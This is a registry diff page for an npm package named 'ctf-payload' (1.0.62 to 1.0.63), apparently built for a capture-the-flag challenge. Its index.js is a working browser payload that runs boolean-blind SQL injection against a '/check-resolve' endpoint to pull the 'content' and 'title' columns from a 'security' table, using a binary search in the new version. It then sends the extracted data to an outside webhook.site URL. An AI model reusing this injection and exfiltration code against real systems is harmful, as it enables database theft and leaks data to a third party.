ctf-payload 1.0.62 → 1.0.63

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +14 -18
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -1,26 +1,22 @@
1
1
  if(window.location.hostname === '127.0.0.1'){
2
- async function extractVal(col, offset){
3
- const chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_-!@#';
2
+ async function extract(col, offset){
4
3
  let result = '';
5
- for(let i=1;i<=60;i++){
6
- let found = false;
7
- for(let c of chars){
8
- const body = `id=0 UNION SELECT CASE WHEN (SELECT substr(${col},${i},1) FROM security LIMIT 1 OFFSET ${offset})='${c}' THEN 'Done' ELSE 'Not yet' END--`;
9
- const r = await fetch('/check-resolve',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body});
10
- const t = await r.text();
11
- if(t.includes('"Done"')){ result+=c; found=true; break; }
4
+ for(let i=1;i<=40;i++){
5
+ let lo=32, hi=126, found=false;
6
+ while(lo<=hi){
7
+ const mid=Math.floor((lo+hi)/2);
8
+ const body=`id=0 UNION SELECT CASE WHEN (SELECT unicode(substr(${col},${i},1)) FROM security LIMIT 1 OFFSET ${offset})>${mid} THEN 'Done' ELSE 'Not yet' END--`;
9
+ const r=await fetch('/check-resolve',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body});
10
+ const t=await r.text();
11
+ if(t.includes('"Done"')) lo=mid+1; else hi=mid-1;
12
12
  }
13
- if(!found) break;
13
+ if(lo>126||lo<32) break;
14
+ result+=String.fromCharCode(lo);
14
15
  }
15
- return `offset${offset}_${col}=${result}`;
16
+ return result;
16
17
  }
17
- Promise.all([
18
- extractVal('content',5),
19
- extractVal('content',6),
20
- extractVal('title',4),
21
- extractVal('title',5)
22
- ]).then(results=>{
23
- window.location='https://webhook.site/6f93f943-4f0f-4d41-bdeb-b568c015030e?d='+encodeURIComponent(results.join('|'));
18
+ extract('content',5).then(r=>{
19
+ window.location='https://webhook.site/6f93f943-4f0f-4d41-bdeb-b568c015030e?d='+encodeURIComponent(r);
24
20
  });
25
21
  } else {
26
22
  window.location='http://127.0.0.1:31337/part2';
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "ctf-payload",
3
- "version": "1.0.62",
3
+ "version": "1.0.63",
4
4
  "main": "index.js",
5
5
  "scripts": {
6
6
  "test": "echo \"Error: no test specified\" && exit 1"